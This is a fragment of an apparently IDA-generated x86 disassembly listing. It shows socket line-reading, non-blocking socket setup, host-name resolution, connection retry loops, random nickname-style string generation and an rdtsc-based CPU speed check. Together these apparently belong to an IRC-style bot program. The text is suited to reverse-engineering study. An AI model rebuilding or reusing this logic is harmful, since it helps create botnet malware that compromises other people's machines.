loc_41AC32: ; CODE XREF: ___:0041AC26j mov eax, [esp+1Ch] mov ebp, [esp+18h] xor esi, esi dec eax cmp eax, ebx mov [ebp+0], bl mov byte ptr [esp+18h], 1 jle short loc_41AC9D mov edi, ebp loc_41AC4B: ; CODE XREF: ___:0041AC9Bj cmp edi, ebx jz short loc_41AC9D cmp [esp+18h], bl jz short loc_41AC9D call sub_40195B test al, al jz short loc_41AC9D mov ecx, [esp+10h] push ebx push 1 push edi call sub_401960 test al, al jz short loc_41AC28 mov [esi+ebp+1], bl mov al, [edi] cmp al, 0Ah jz short loc_41AC7D cmp al, bl jnz short loc_41AC90 loc_41AC7D: ; CODE XREF: ___:0041AC77j cmp byte ptr [esi+ebp-1], 0Dh jnz short loc_41AC8A mov [esi+ebp-1], bl jmp short loc_41AC8C ; --------------------------------------------------------------------------- loc_41AC8A: ; CODE XREF: ___:0041AC82j mov [edi], bl loc_41AC8C: ; CODE XREF: ___:0041AC88j mov [esp+18h], bl loc_41AC90: ; CODE XREF: ___:0041AC7Bj mov ecx, [esp+1Ch] inc esi inc edi lea eax, [ecx-1] cmp esi, eax jl short loc_41AC4B loc_41AC9D: ; CODE XREF: ___:0041AC47j ; ___:0041AC4Dj ... mov edx, [esp+1Ch] pop edi pop esi mov al, 1 mov [edx+ebp-1], bl pop ebp pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_41ACE0: ; CODE XREF: ___:00401082j push esi mov esi, ecx call sub_40195B test al, al jnz short loc_41ACF2 xor eax, eax pop esi retn 8 ; --------------------------------------------------------------------------- loc_41ACF2: ; CODE XREF: ___:0041ACEAj mov eax, [esi+806h] cmp eax, 0FFFFFFFFh jnz short loc_41AD03 xor eax, eax pop esi retn 8 ; --------------------------------------------------------------------------- loc_41AD03: ; CODE XREF: ___:0041ACFBj mov ecx, [esp+0Ch] mov edx, [esp+8] push ecx push edx push eax nop call near ptr 71AB951Eh pop esi retn 8 ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41AD30 proc near ; CODE XREF: sub_401893j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx call sub_40195B test al, al jnz short loc_41AD42 xor eax, eax pop esi retn 8 ; --------------------------------------------------------------------------- loc_41AD42: ; CODE XREF: sub_41AD30+Aj mov eax, [esi+806h] cmp eax, 0FFFFFFFFh jnz short loc_41AD53 xor eax, eax pop esi retn 8 ; --------------------------------------------------------------------------- loc_41AD53: ; CODE XREF: sub_41AD30+1Bj mov ecx, [esp+4+arg_4] mov edx, [esp+4+arg_0] push ecx push edx push eax call near ptr 71AC0B50h nop pop esi retn 8 sub_41AD30 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_41AD80: ; CODE XREF: ___:00401C3Fj sub esp, 10Ch push esi mov esi, ecx xor ecx, ecx mov al, [esi+80Ch] cmp al, cl mov eax, [esi+806h] jnz short loc_41ADBF cmp eax, 0FFFFFFFFh jz short loc_41ADB5 cmp [esi+80Bh], cl jz short loc_41ADB5 mov eax, 1 pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_41ADB5: ; CODE XREF: ___:0041AD9Ej ; ___:0041ADA6j xor eax, eax pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_41ADBF: ; CODE XREF: ___:0041AD99j lea edx, [esp+4] mov [esp+10h], eax push edx lea edx, [esp+10h] push ecx push edx inc eax push ecx push eax mov dword ptr [esp+20h], 1 mov [esp+18h], ecx mov [esp+1Ch], ecx nop call near ptr 71AB2DC0h test eax, eax jnz short loc_41ADF5 xor al, al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_41ADF5: ; CODE XREF: ___:0041ADE9j mov ecx, [esi+806h] lea eax, [esp+0Ch] push eax push ecx call sub_436F60 ; --------------------------------------------------------------------------- test eax, eax setnz al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_41AE50: ; CODE XREF: ___:004016E5j sub esp, 10Ch push esi mov esi, ecx xor ecx, ecx cmp [esi+80Ch], cl jnz short loc_41AE6D xor al, al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_41AE6D: ; CODE XREF: ___:0041AE61j mov eax, [esi+806h] lea edx, [esp+4] push edx lea edx, [esp+10h] mov [esp+14h], eax push edx push ecx inc eax push ecx push eax mov dword ptr [esp+20h], 1 mov [esp+18h], ecx mov [esp+1Ch], ecx nop call near ptr 71AB2DC0h test eax, eax jnz short loc_41AEA9 xor al, al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_41AEA9: ; CODE XREF: ___:0041AE9Dj mov ecx, [esi+806h] lea eax, [esp+0Ch] push eax push ecx call sub_436F60 ; --------------------------------------------------------------------------- test eax, eax setnz al pop esi add esp, 10Ch retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41AEF0: ; CODE XREF: ___:0040173Aj push esi mov esi, [esp+8] push edi mov edi, ecx push 800h lea edx, [esi+6] mov ax, [edi+4] lea ecx, [edi+6] push ecx push edx mov [esi+4], ax call near ptr 77C47A90h nop xor al, al add esp, 0Ch mov dword ptr [esi+806h], 0FFFFFFFFh mov [esi+80Ch], al mov [esi+80Bh], al mov al, [edi+80Dh] mov [esi+80Dh], al pop edi pop esi retn 4 ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41AF60 proc near ; CODE XREF: sub_4018BBj arg_0 = dword ptr 4 mov al, byte ptr [esp+arg_0] test al, al mov [ecx+80Ch], al jz short loc_41AF90 mov ecx, [ecx+806h] lea eax, [esp+arg_0] push eax push 8004667Eh push ecx mov [esp+0Ch+arg_0], 1 nop call near ptr 71AB4519h retn 4 ; --------------------------------------------------------------------------- loc_41AF90: ; CODE XREF: sub_41AF60+Cj mov eax, [ecx+806h] lea edx, [esp+arg_0] push edx push 8004667Eh push eax mov [esp+0Ch+arg_0], 0 nop call near ptr 71AB4519h retn 4 sub_41AF60 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41AFE0 proc near ; CODE XREF: sub_401186j push esi mov esi, ecx push 0 lea ecx, [esi+4] call sub_401C35 mov dword ptr [esi], offset off_43E0C0 mov eax, esi pop esi retn sub_41AFE0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B010 proc near ; CODE XREF: ___:00401915j sub_401E74j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_40186B test [esp+4+arg_0], 1 jz short loc_41B028 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_41B028: ; CODE XREF: sub_41B010+Dj mov eax, esi pop esi retn 4 sub_41B010 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B040 proc near ; CODE XREF: sub_40186Bj mov dword ptr [ecx], offset off_43E0C0 add ecx, 4 jmp sub_401FC8 sub_41B040 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B060 proc near ; CODE XREF: sub_401636j arg_0 = dword ptr 4 push esi push edi call sub_40195B test al, al jnz short loc_41B072 pop edi xor eax, eax pop esi retn 4 ; --------------------------------------------------------------------------- loc_41B072: ; CODE XREF: sub_41B060+9j mov esi, [esp+8+arg_0] push esi nop call near ptr 71AB2BF4h cmp eax, 0FFFFFFFFh jnz short loc_41B0C5 push esi nop call near ptr 71AB4FD4h mov edi, eax test edi, edi jnz short loc_41B097 pop edi or eax, 0FFFFFFFFh pop esi retn 4 ; --------------------------------------------------------------------------- loc_41B097: ; CODE XREF: sub_41B060+2Dj mov eax, [edi+0Ch] xor esi, esi cmp dword ptr [eax], 0 jz short loc_41B0AC loc_41B0A1: ; CODE XREF: sub_41B060+4Aj mov ecx, [eax+4] add eax, 4 inc esi test ecx, ecx jnz short loc_41B0A1 loc_41B0AC: ; CODE XREF: sub_41B060+3Fj call sub_401EEC dec esi push esi push 0 call sub_4021A3 ; --------------------------------------------------------------------------- mov ecx, [edi+0Ch] add esp, 8 mov edx, [ecx+eax*4] mov eax, [edx] loc_41B0C5: ; CODE XREF: sub_41B060+20j pop edi pop esi retn 4 sub_41B060 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41B0F0: ; CODE XREF: ___:00402095j push 0FFFFFFFFh push offset loc_43AD07 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 38h push ebx push esi xor ebx, ebx push edi mov [esp+0Ch], ebx call sub_40195B test al, al jnz short loc_41B12F mov eax, [esp+58h] mov esi, [esp+54h] push eax mov ecx, esi call sub_401861 jmp loc_41B2DB ; --------------------------------------------------------------------------- loc_41B12F: ; CODE XREF: ___:0041B118j mov ecx, [esp+58h] push ecx lea ecx, [esp+30h] call sub_401861 mov edi, 1 lea ecx, [esp+2Ch] mov [esp+4Ch], edi call sub_4017E4 test eax, eax push offset byte_446F60 jnz short loc_41B16C mov esi, [esp+58h] mov ecx, esi call sub_401861 mov [esp+0Ch], edi jmp loc_41B2CE ; --------------------------------------------------------------------------- loc_41B16C: ; CODE XREF: ___:0041B156j lea ecx, [esp+30h] call sub_4012EE test eax, eax push offset byte_446F60 jnz short loc_41B192 mov esi, [esp+58h] mov ecx, esi call sub_401861 mov [esp+0Ch], edi jmp loc_41B2CE ; --------------------------------------------------------------------------- loc_41B192: ; CODE XREF: ___:0041B17Cj lea ecx, [esp+18h] call sub_401861 lea edx, [esp+10h] push ebx push edx push ebx push ebx push 0Fh lea ecx, [esp+40h] mov byte ptr [esp+60h], 2 call sub_4017E4 push eax call sub_436FC6 ; --------------------------------------------------------------------------- cmp eax, ebx jz short loc_41B1D6 mov esi, [esp+54h] lea eax, [esp+14h] push eax mov ecx, esi call sub_4014C9 mov [esp+0Ch], edi jmp loc_41B2C0 ; --------------------------------------------------------------------------- loc_41B1D6: ; CODE XREF: ___:0041B1BBj mov edi, [esp+10h] mov esi, offset dword_443DC4 mov ecx, [edi] mov eax, [ecx+4] loc_41B1E4: ; CODE XREF: ___:0041B202j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_41B208 cmp cl, bl jz short loc_41B204 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_41B208 add eax, 2 add esi, 2 cmp cl, bl jnz short loc_41B1E4 loc_41B204: ; CODE XREF: ___:0041B1EEj xor eax, eax jmp short loc_41B20D ; --------------------------------------------------------------------------- loc_41B208: ; CODE XREF: ___:0041B1EAj ; ___:0041B1F8j sbb eax, eax sbb eax, 0FFFFFFFFh loc_41B20D: ; CODE XREF: ___:0041B206j cmp eax, ebx jz short loc_41B27B push ebp loc_41B212: ; CODE XREF: ___:0041B265j ; ___:0041B269j nop call near ptr 27D0802h and eax, 0Fh cmp al, 8 jnz short loc_41B226 cmp word ptr [edi+8], 0Fh jz short loc_41B26B loc_41B226: ; CODE XREF: ___:0041B21Dj mov edi, [edi] mov ebp, [esp+14h] cmp edi, ebx jnz short loc_41B232 mov edi, ebp loc_41B232: ; CODE XREF: ___:0041B22Ej mov eax, [edi+4] mov esi, offset dword_443DC4 loc_41B23A: ; CODE XREF: ___:0041B258j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_41B25E cmp cl, bl jz short loc_41B25A mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_41B25E add eax, 2 add esi, 2 cmp cl, bl jnz short loc_41B23A loc_41B25A: ; CODE XREF: ___:0041B244j xor eax, eax jmp short loc_41B263 ; --------------------------------------------------------------------------- loc_41B25E: ; CODE XREF: ___:0041B240j ; ___:0041B24Ej sbb eax, eax sbb eax, 0FFFFFFFFh loc_41B263: ; CODE XREF: ___:0041B25Cj cmp eax, ebx jnz short loc_41B212 mov edi, ebp jmp short loc_41B212 ; --------------------------------------------------------------------------- loc_41B26B: ; CODE XREF: ___:0041B224j mov eax, [edi+18h] lea ecx, [esp+18h] push eax call sub_4015D7 pop ebp jmp short loc_41B288 ; --------------------------------------------------------------------------- loc_41B27B: ; CODE XREF: ___:0041B20Fj mov ecx, [edi+18h] push ecx lea ecx, [esp+18h] call sub_4015D7 loc_41B288: ; CODE XREF: ___:0041B279j push offset byte_446F60 lea ecx, [esp+18h] call sub_4012EE test eax, eax jnz short loc_41B2A8 mov edx, [esp+58h] lea ecx, [esp+14h] push edx call sub_4015D7 loc_41B2A8: ; CODE XREF: ___:0041B298j mov esi, [esp+54h] lea eax, [esp+14h] push eax mov ecx, esi call sub_4014C9 mov dword ptr [esp+0Ch], 1 loc_41B2C0: ; CODE XREF: ___:0041B1D1j lea ecx, [esp+14h] mov byte ptr [esp+4Ch], 1 call sub_401226 loc_41B2CE: ; CODE XREF: ___:0041B167j ; ___:0041B18Dj lea ecx, [esp+2Ch] mov [esp+4Ch], bl call sub_401226 loc_41B2DB: ; CODE XREF: ___:0041B12Aj mov ecx, [esp+44h] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx add esp, 44h retn 8 ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 90h dup(0CCh) ; --------------------------------------------------------------------------- loc_41B390: ; CODE XREF: ___:00402135j push esi mov esi, ecx call sub_401E6A push 0 lea ecx, [esi+15h] call sub_401C35 mov dword ptr [esi], offset off_43E0C4 mov dword ptr [esi+11h], 0 mov dword ptr [esi+823h], 0 mov eax, esi pop esi retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B3D0 proc near ; CODE XREF: sub_4013FCj ___:00402018j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401BCC test [esp+4+arg_0], 1 jz short loc_41B3E8 push esi call sub_4367E2 ; --------------------------------------------------------------------------- add esp, 4 loc_41B3E8: ; CODE XREF: sub_41B3D0+Dj mov eax, esi pop esi retn 4 sub_41B3D0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B400 proc near ; CODE XREF: sub_401BCCj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41B400 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_401FC8 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_402031 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_41B400 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41B470: ; CODE XREF: ___:00401D3Ej push esi mov esi, ecx call sub_401E6A push 0 lea ecx, [esi+15h] call sub_401C35 mov eax, [esp+8] mov ecx, [esp+0Ch] mov [esi+11h], eax mov dword ptr [esi], offset off_43E0C4 mov [esi+823h], ecx mov eax, esi pop esi retn 8 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B4B0 proc near ; CODE XREF: sub_40167Cj var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 sub esp, 14h push edi mov edi, ecx mov eax, [edi+11h] test eax, eax jz loc_41B5C0 mov ecx, [edi+823h] test ecx, ecx jz loc_41B5C0 push ebx push ebp lea ebx, [edi+15h] push esi push eax mov ecx, ebx xor esi, esi call sub_401488 mov ebp, dword_50F8D0 test al, al jnz short loc_41B513 loc_41B4E9: ; CODE XREF: sub_41B4B0+61j mov al, [edi+10h] test al, al jz loc_41B5AF mov al, byte_4E6E74 test al, al jz short loc_41B513 push 7D0h call ebp mov eax, [edi+11h] mov ecx, ebx push eax call sub_401488 test al, al jz short loc_41B4E9 loc_41B513: ; CODE XREF: sub_41B4B0+37j ; sub_41B4B0+4Bj mov al, [edi+10h] test al, al jz loc_41B5AF loc_41B51E: ; CODE XREF: sub_41B4B0+F9j mov al, byte_4E6E74 test al, al jz loc_41B5AF test esi, esi jnz short loc_41B54E push 80Eh call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 test eax, eax jz short loc_41B54A push esi mov ecx, eax call sub_401C35 jmp short loc_41B54C ; --------------------------------------------------------------------------- loc_41B54A: ; CODE XREF: sub_41B4B0+8Ej xor eax, eax loc_41B54C: ; CODE XREF: sub_41B4B0+98j mov esi, eax loc_41B54E: ; CODE XREF: sub_41B4B0+7Dj push 0 push 0 push esi mov ecx, ebx call sub_401B81 test al, al jnz short loc_41B567 push 7D0h call ebp jmp short loc_41B5A4 ; --------------------------------------------------------------------------- loc_41B567: ; CODE XREF: sub_41B4B0+ACj xor ecx, ecx lea edx, [esp+24h+var_14] mov [esp+24h+var_10], ecx lea eax, [esp+24h+var_10] mov [esp+24h+var_C], ecx push edx mov [esp+28h+var_8], ecx push eax mov [esp+2Ch+var_4], ecx mov ecx, esi mov [esp+2Ch+var_14], 10h call sub_401893 mov al, byte ptr [esp+24h+var_C] test al, al jz short loc_41B5A4 push esi call dword ptr [edi+823h] add esp, 4 loc_41B5A4: ; CODE XREF: sub_41B4B0+B5j ; sub_41B4B0+E8j mov al, [edi+10h] test al, al jnz loc_41B51E loc_41B5AF: ; CODE XREF: sub_41B4B0+3Ej ; sub_41B4B0+68j ... mov ecx, ebx call sub_4014DD pop esi pop ebp pop ebx xor eax, eax pop edi add esp, 14h retn ; --------------------------------------------------------------------------- loc_41B5C0: ; CODE XREF: sub_41B4B0+Bj ; sub_41B4B0+19j xor eax, eax pop edi add esp, 14h retn sub_41B4B0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_41B620: ; CODE XREF: ___:00401C21j mov eax, [esp+0Ch] push ebx push ebp mov ebp, [esp+10h] push esi push edi xor ebx, ebx xor edi, edi dec eax mov [ebp+0], bl cmp eax, ebx mov byte ptr [esp+18h], 1 jle short loc_41B695 mov esi, ebp loc_41B63F: ; CODE XREF: ___:0041B693j cmp esi, ebx jz short loc_41B695 cmp [esp+18h], bl jz short loc_41B695 mov ecx, [esp+14h] push ebx push 1 push esi push ecx call near ptr 71AB615Ah nop cmp eax, ebx jz short loc_41B6A4 cmp eax, 0FFFFFFFFh jz short loc_41B6A4 call near ptr 71AB94DCh nop cmp eax, 2733h jz short loc_41B69D mov [edi+ebp+1], bl mov al, [esi] cmp al, 0Ah jz short loc_41B680 cmp al, 0Dh jz short loc_41B680 cmp al, bl jnz short loc_41B688 loc_41B680: ; CODE XREF: ___:0041B676j ; ___:0041B67Aj mov [edi+ebp-1], bl mov [esp+18h], bl loc_41B688: ; CODE XREF: ___:0041B67Ej mov edx, [esp+1Ch] inc edi inc esi lea eax, [edx-1] cmp edi, eax jl short loc_41B63F loc_41B695: ; CODE XREF: ___:0041B63Bj ; ___:0041B641j ... mov eax, [esp+1Ch] mov [eax+ebp-1], bl loc_41B69D: ; CODE XREF: ___:0041B66Cj pop edi pop esi pop ebp mov al, 1 pop ebx retn ; --------------------------------------------------------------------------- loc_41B6A4: ; CODE XREF: ___:0041B65Aj ; ___:0041B65Fj pop edi pop esi pop ebp xor al, al pop ebx retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B6E0 proc near ; CODE XREF: sub_401280j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] push ebx push ebp mov ebp, [esp+8+arg_4] push esi xor ebx, ebx xor esi, esi dec eax cmp eax, ebx push edi mov [ebp+0], bl mov byte ptr [esp+10h+arg_4], 1 jle short loc_41B74A mov edi, ebp loc_41B6FF: ; CODE XREF: sub_41B6E0+68j cmp edi, ebx jz short loc_41B74A cmp byte ptr [esp+10h+arg_4], bl jz short loc_41B74A mov ecx, [esp+10h+arg_0] push ebx push 1 push edi push ecx nop call near ptr 71AB615Ah test eax, eax jz short loc_41B759 mov [esi+ebp+1], bl mov al, [edi] cmp al, 0Ah jz short loc_41B72A cmp al, bl jnz short loc_41B73D loc_41B72A: ; CODE XREF: sub_41B6E0+44j cmp byte ptr [esi+ebp-1], 0Dh jnz short loc_41B737 mov [esi+ebp-1], bl jmp short loc_41B739 ; --------------------------------------------------------------------------- loc_41B737: ; CODE XREF: sub_41B6E0+4Fj mov [edi], bl loc_41B739: ; CODE XREF: sub_41B6E0+55j mov byte ptr [esp+10h+arg_4], bl loc_41B73D: ; CODE XREF: sub_41B6E0+48j mov edx, [esp+10h+arg_8] inc esi inc edi lea eax, [edx-1] cmp esi, eax jl short loc_41B6FF loc_41B74A: ; CODE XREF: sub_41B6E0+1Bj ; sub_41B6E0+21j ... mov eax, [esp+10h+arg_8] pop edi pop esi mov [eax+ebp-1], bl pop ebp mov al, 1 pop ebx retn ; --------------------------------------------------------------------------- loc_41B759: ; CODE XREF: sub_41B6E0+3Aj pop edi pop esi pop ebp xor al, al pop ebx retn sub_41B6E0 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41B780: ; CODE XREF: ___:00401ADCj push ebx mov ebx, [esp+8] push ebp mov ebp, [esp+10h] mov ecx, ebp push esi mov edx, ecx push edi xor eax, eax mov edi, ebx shr ecx, 2 rep stosd mov ecx, edx xor esi, esi and ecx, 3 test ebp, ebp rep stosb jle short loc_41B7DB loc_41B7A6: ; CODE XREF: ___:0041B7D9j push 3 push 1 call sub_4021A3 ; --------------------------------------------------------------------------- add esp, 8 dec eax jz short loc_41B7C7 dec eax jz short loc_41B7C1 dec eax jnz short loc_41B7D6 push 7Ah push 61h jmp short loc_41B7CB ; --------------------------------------------------------------------------- loc_41B7C1: ; CODE XREF: ___:0041B7B6j push 5Ah push 41h jmp short loc_41B7CB ; --------------------------------------------------------------------------- loc_41B7C7: ; CODE XREF: ___:0041B7B3j push 39h push 30h loc_41B7CB: ; CODE XREF: ___:0041B7BFj ; ___:0041B7C5j call sub_4021A3 ; --------------------------------------------------------------------------- add esp, 8 mov [esi+ebx], al loc_41B7D6: ; CODE XREF: ___:0041B7B9j inc esi cmp esi, ebp jl short loc_41B7A6 loc_41B7DB: ; CODE XREF: ___:0041B7A4j pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B800 proc near ; CODE XREF: sub_40141Aj rdtsc retn sub_41B800 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B820 proc near ; CODE XREF: sub_4017F3j var_4 = dword ptr -4 sub esp, 8 push ebx mov ebx, dword_50F8D0 push ebp push esi push edi xor ebp, ebp loc_41B82F: ; CODE XREF: sub_41B820+43j ; sub_41B820+4Dj call sub_40141A push 3E8h mov esi, eax mov edi, edx call ebx call sub_40141A sub eax, esi push ebp sbb edx, edi push 186A0h push edx push eax call sub_436970 push ebp push 0Ah push edx push eax call sub_436970 cmp edx, ebp mov esi, eax ja short loc_41B82F jb short loc_41B86F cmp esi, 0F4240h ja short loc_41B82F loc_41B86F: ; CODE XREF: sub_41B820+45j push ebp push 64h push edx push esi call sub_4368F0 mov ecx, eax cmp edx, ebp mov eax, 64h mov [esp+18h+var_4], ebp ja short loc_41B8F9 jb short loc_41B88F cmp ecx, 50h jnb short loc_41B898 loc_41B88F: ; CODE XREF: sub_41B820+68j mov eax, 4Bh mov [esp+18h+var_4], ebp loc_41B898: ; CODE XREF: sub_41B820+6Dj cmp edx, ebp ja short loc_41B8F9 jb short loc_41B8A3 cmp ecx, 47h jnb short loc_41B8AC loc_41B8A3: ; CODE XREF: sub_41B820+7Cj mov eax, 42h mov [esp+18h+var_4], ebp loc_41B8AC: ; CODE XREF: sub_41B820+81j cmp edx, ebp ja short loc_41B8F9 jb short loc_41B8B7 cmp ecx, 37h jnb short loc_41B8C0 loc_41B8B7: ; CODE XREF: sub_41B820+90j mov eax, 32h mov [esp+18h+var_4], ebp loc_41B8C0: ; CODE XREF: sub_41B820+95j cmp edx, ebp ja short loc_41B8F9 jb short loc_41B8CB cmp ecx, 26h jnb short loc_41B8D4 loc_41B8CB: ; CODE XREF: sub_41B820+A4j mov eax, 21h mov [esp+18h+var_4], ebp loc_41B8D4: ; CODE XREF: sub_41B820+A9j cmp edx, ebp ja short loc_41B8F9 jb short loc_41B8DF cmp ecx, 1Eh jnb short loc_41B8E8 loc_41B8DF: ; CODE XREF: sub_41B820+B8j mov eax, 19h mov [esp+18h+var_4], ebp loc_41B8E8: ; CODE XREF: sub_41B820+BDj cmp edx, ebp ja short loc_41B8F9 jb short loc_41B8F3 cmp ecx, 0Ah jnb short loc_41B8F9 loc_41B8F3: ; CODE XREF: sub_41B820+CCj xor eax, eax mov [esp+18h+var_4], ebp loc_41B8F9: ; CODE XREF: sub_41B820+66j ; sub_41B820+7Aj ... sub eax, ecx pop edi add eax, esi pop esi pop ebp pop ebx add esp, 8 retn sub_41B820 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41B950 proc near ; CODE XREF: sub_402022j var_40 = dword ptr -40h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_41B950 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 34h mov al, byte_447759 push ebx push esi push edi test al, al mov [esp+4Ch+var_40], 0 jz loc_41BAAF push ebp lea ecx, [esp+50h+var_3C] call sub_401424 push 400h lea ecx, [esp+54h+var_3C] mov [esp+54h+var_4], 1 xor bl, bl call sub_401C5D mov ebp, eax call sub_401EEC lea ecx, [esp+50h+var_3C] call sub_4013D9 mov [esp+50h+arg_4], eax lea eax, [esp+50h+arg_4] push eax push ebp call near ptr 27F106Eh nop test eax, eax jnz short loc_41B9E6 mov edi, offset byte_446F60 or ecx, 0FFFFFFFFh repne scasb not ecx sub edi, ecx mov edx, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, edx and ecx, 3 rep movsb loc_41B9E6: ; CODE XREF: sub_41B950+74j movsx ecx, byte ptr [ebp+0] mov eax, 41h loc_41B9EF: ; CODE XREF: sub_41B950+A9j cmp ecx, eax jnz short loc_41B9F5 mov bl, 1 loc_41B9F5: ; CODE XREF: sub_41B950+A1j inc eax cmp eax, 5Bh jl short loc_41B9EF mov eax, 61h loc_41BA00: ; CODE XREF: sub_41B950+BAj cmp ecx, eax jnz short loc_41BA06 mov bl, 1 loc_41BA06: ; CODE XREF: sub_41B950+B2j inc eax cmp eax, 7Bh jl short loc_41BA00 test bl, bl jnz short loc_41BA32 mov edi, offset byte_446F60 or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb loc_41BA32: ; CODE XREF: sub_41B950+BEj mov esi, dword_50FABC call esi ; rand cdq mov ecx, 0Ah idiv ecx lea ecx, [esp+50h+var_3C] push edx call sub_401140 call esi ; rand cdq mov ecx, 0Ah idiv ecx lea ecx, [esp+50h+var_3C] push edx call sub_401140 call esi ; rand cdq mov ecx, 0Ah idiv ecx lea ecx, [esp+50h+var_3C] push edx call sub_401140 mov esi, [esp+50h+arg_0] lea edx, [esp+50h+var_3C] push edx mov ecx, esi call sub_4014C9 mov [esp+50h+var_40], 1 lea ecx, [esp+50h+var_3C] mov byte ptr [esp+50h+var_4], 0 call sub_401226 pop ebp mov eax, esi pop edi pop esi pop ebx mov ecx, [esp+40h+var_C] mov large fs:0, ecx add esp, 40h retn ; --------------------------------------------------------------------------- loc_41BAAF: ; CODE XREF: sub_41B950+2Aj lea ecx, [esp+4Ch+var_24] call sub_401424 mov ebx, 2 mov [esp+4Ch+var_4], ebx call near ptr 27D0802h nop push eax nop call near ptr 77C371BCh mov edi, dword_50FABC add esp, 4 call edi ; rand cdq mov ecx, 3 idiv ecx lea ecx, [esp+4Ch+var_24] mov esi, edx mov edx, [esp+4Ch+arg_4] push edx add esi, 6 call sub_4015D7 test esi, esi jle short loc_41BB4E loc_41BAF8: ; CODE XREF: sub_41B950+1FCj lea ecx, [esp+4Ch+var_3C] call sub_401424 lea eax, [esp+4Ch+var_24] lea ecx, [esp+4Ch+var_3C] push eax mov byte ptr [esp+50h+var_4], 3 call sub_401FBE call edi ; rand cdq mov ecx, 1Ah idiv ecx lea ecx, [esp+4Ch+var_3C] add edx, 61h push edx call sub_4017E4 push eax lea edx, [esp+54h+var_24] push offset dword_443E74 push edx call sub_40102D add esp, 10h lea ecx, [esp+4Ch+var_3C] mov byte ptr [esp+4Ch+var_4], bl call sub_401226 dec esi jnz short loc_41BAF8 loc_41BB4E: ; CODE XREF: sub_41B950+1A6j mov esi, [esp+4Ch+arg_0] lea eax, [esp+4Ch+var_24] push eax mov ecx, esi call sub_4014C9 lea ecx, [esp+4Ch+var_24] mov [esp+4Ch+var_40], 1 mov byte ptr [esp+4Ch+var_4], 0 call sub_401226 mov ecx, [esp+4Ch+var_C] mov eax, esi pop edi pop esi pop ebx mov large fs:0, 